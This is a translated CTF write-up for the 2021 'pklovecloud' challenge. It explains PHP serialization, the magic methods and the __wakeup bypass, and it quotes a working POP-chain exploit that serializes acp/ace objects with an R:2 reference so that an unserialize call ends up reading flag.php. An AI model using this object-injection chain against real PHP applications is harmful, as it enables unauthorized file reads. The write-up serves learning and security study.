PHP deserialization & Construction of POP chain -- CTF pklovecloud in the fifth space of 2021

0x00 Preface

There are many articles on online and PHP deserialization & pop chain construction. The author briefly explains its related knowledge here. Learning, expanding and reviewing relevant knowledge from a problem will get twice the result with half the effort.

0x01 serialization and deserialization

To facilitate the storage and transmission of objects, the operation of converting an object into a string is called serialize(), and the process of restoring the converted String into an object is called deserialize ().

For example, chestnuts:

<?php
Class test{
    public $a= '1';
    public $bb= 2;
    public $ccc= True;
}

$r= new test();
echo(serialize($r));
# O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}

$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo(serialize($array_t));
# a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}



a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

0x02 PHP magic method

Method nameCall condition
__construct()Initializing an object when creating an object is generally used to assign an initial value to a variable. This method is called automatically when a new class is created
__destruct()In contrast to the constructor, it is executed after the function where the object is located is called, that is, the method is called automatically when a class is destroyed
__toString()Called when the object is used as a string
__sleep()When calling the serialize() function, PHP will try to call the member function of the object before the sequence action. sleep(). This allows the object to do any cleanup before being serialized
__wakeup()This method is called before de serialization is restored. When you use unserialize() to recover an object, the__ wakeup() member function
__invoke()Called when an instance object is used as a function
__call()Called when calling a method that is not accessible or does not exist
__callStatic()Called automatically when a static method that is not accessible or does not exist is called
__get()It is automatically executed when calling private properties
__isset()Triggered when isset() or empty() is called on an inaccessible property
__set()Called when an inaccessible or nonexistent property is assigned a value
__unset()Triggered when unset() is used on an inaccessible property
__set_state()When VaR is called_ When export() exports a class, this static method is called. Use__ set_ The return value of state () is var_ Return value of export()
__clone()It is called during object clone to adjust the cloning behavior of the object
__debuginfo()When VaR is called_ Dump() is called when printing objects (when you don't want to print all attributes), which is applicable to PHP 5.6

0x03 __ Wakeup (bypass)

I don't want to execute__ When wakeup(), you can make the value of the class attribute in the serialization result greater than its real value to bypass. This method is applicable to PHP < 5.6.25 and PHP < 7.0.10.

For example, chestnuts:

<?php
Class User{
    public $name="Bob";
    
    function __destruct(){
        echo"nameis Bob </br>";
    }
  
    function __wakeup(){
        echo"exit</br>";
    }
}
@var_dump(unserialize($_POST["u"]));

POST parameter O:4:"User":1:{s:4:"name";s:3:"Bob";}:

exit

object(User)[1]
 public 'name' => string 'Bob' (length=3)

nameis Bob

If you don't want to__ wakeup() can change 2 after "User" to a number larger than 2.

POST parameter O:4:"User":2:{s:4:"name";s:3:"Bob";}:

nameis Bob

booleanfalse

0x04 5space pklovecloud

Title address: http://122.112.141.64:45852/

Title Source Code:

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

Code audit is obviously the use of serialization and deserialization -- the construction of pop chain. Generally analyze the trigger process:

To read flag.php, you need to trigger file_get_contents() function; To trigger file_ get_ The contents () function will trigger the echo of ace_ name(); Find echo_name(), acp found__ toString() happens to have this function, so you want to trigger the echo of ace_ Name() is about to trigger acp__ toString() and make acp $this - > cinder = new ace(); When acp is instantiated, it will be called automatically__ construct(), so if you want to trigger__ toString() is to make acp $this - > cinder = object, which exactly corresponds to the $this - > cinder = new ace() required for the above analysis. To sum up, the pop chain is:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php).

There are two points needing special attention in the construction process, one is the $heat variable that has never appeared, and the other is unserialize ($this - > docker). How to satisfy $this - > openstack - > neutral = = = $this - > openstack - > nova is the key to this problem.

Let's take a look at the official wp:

<?php
class acp
{ 
    protected $cinder; 
    public $neutron;
    public $nova;
    function __construct()
    { 
        $this->cinder = new ace();
    }
    function __toString() 
    { 
        if (isset($this->cinder)) 
            return $this->cinder->echo_name(); 
    }
}
class ace
{ 
    public $filename; 
    public $openstack;
    public $docker;
    function __construct()
    { 
        $this->filename = "flag.php";
        $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    }
    function echo_name() 
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova) {
            $file = "./{$this->filename}";
            if (file_get_contents($file)) 
            { 
                return file_get_contents($file);
            } 
            else
            {
                return "keystone lost~";
            } 
        }
    }
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

Where $this - > docker = 'O: 8: "stdClass": 2: {s: 7: "neutron"; s: 1: "a"; s: 4: "nova"; R:2;}'; Is the key to solving this problem. R is quite rare in deserialization, and there is little relevant information on the Internet. So what exactly does R:2 stand for? Practice is the only criterion for testing truth. Here is the code I tested and analyzed:

First, test whether it can pass = = = = when both values are not assigned.

<?php

$a = $heat;
$b = $c;
echo $a.'--';
echo '<br>';
echo count($a);
echo '<br>';

if($a===$b)
	echo 'Data type and value both are same';
else
    echo 'Data type or value are different';

?>


As mentioned above, R represents pointer reference, so a class is constructed and serialized for verification:

<?php

class Test{
    public $m;     
    public $n;
    public $o;
    private $q;
    protected $p;
    function __construct($n,$o,$p,$q){
        $this->m = $m; 
        $this->n = $n; 
        $this->o = $o; 
        $this->p = $p;
        $this->q = $q;
    }
}

$i0clay = new Test(1,1,'1',true);
$i0clay->m = &$i0clay->n; //Declare variable m and reference argument n
echo (serialize($i0clay));

?>


Note: the variable name of private and public variables will change after serialization. You can query the details on the Internet.

Sure enough, but it should be noted that the position of r here is the referenced variable n rather than m. So what does the number 2 stand for? Inspired by the position of R, try to replace m with another variable:

<?php

class Test{
    public $m;     
    public $n;
    public $o;
    private $q;
    protected $p;
    function __construct($m,$n,$p,$q){
        $this->m = $m; 
        $this->n = $n; 
        $this->o = $o; 
        $this->p = $p;
        $this->q = $q;
    }
}

$i0clay = new Test(1,1,'1',true);
$i0clay->o = &$i0clay->n;
echo (serialize($i0clay));

?>


It is not difficult to analyze that the number after R represents the position of the variable to reference other variables. R:2 when m refers to N and R:3 when o refers to n. But M is the first variable. Why start with 2? R: What does 1 stand for? Here, the author tries to find its meaning through deserialization and verify the correctness of the previous conclusion:

<?php

$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
	echo 'Data type and value both are same';
echo '<br>';

?>

<?php

$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:1;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
	echo 'Data type and value both are same';
echo '<br>';

?>


Guess R:1 here represents $payload = & $payload - > nova, that is, the variable to reference other variables is the object instantiated by this class itself.

0x05 summary

0x06 reference articles

https://www.cnblogs.com/NPFS/p/12768697.html

Tags: PHP Web Security CTF

Posted on Mon, 20 Sep 2021 23:50:56 -0400 by jonners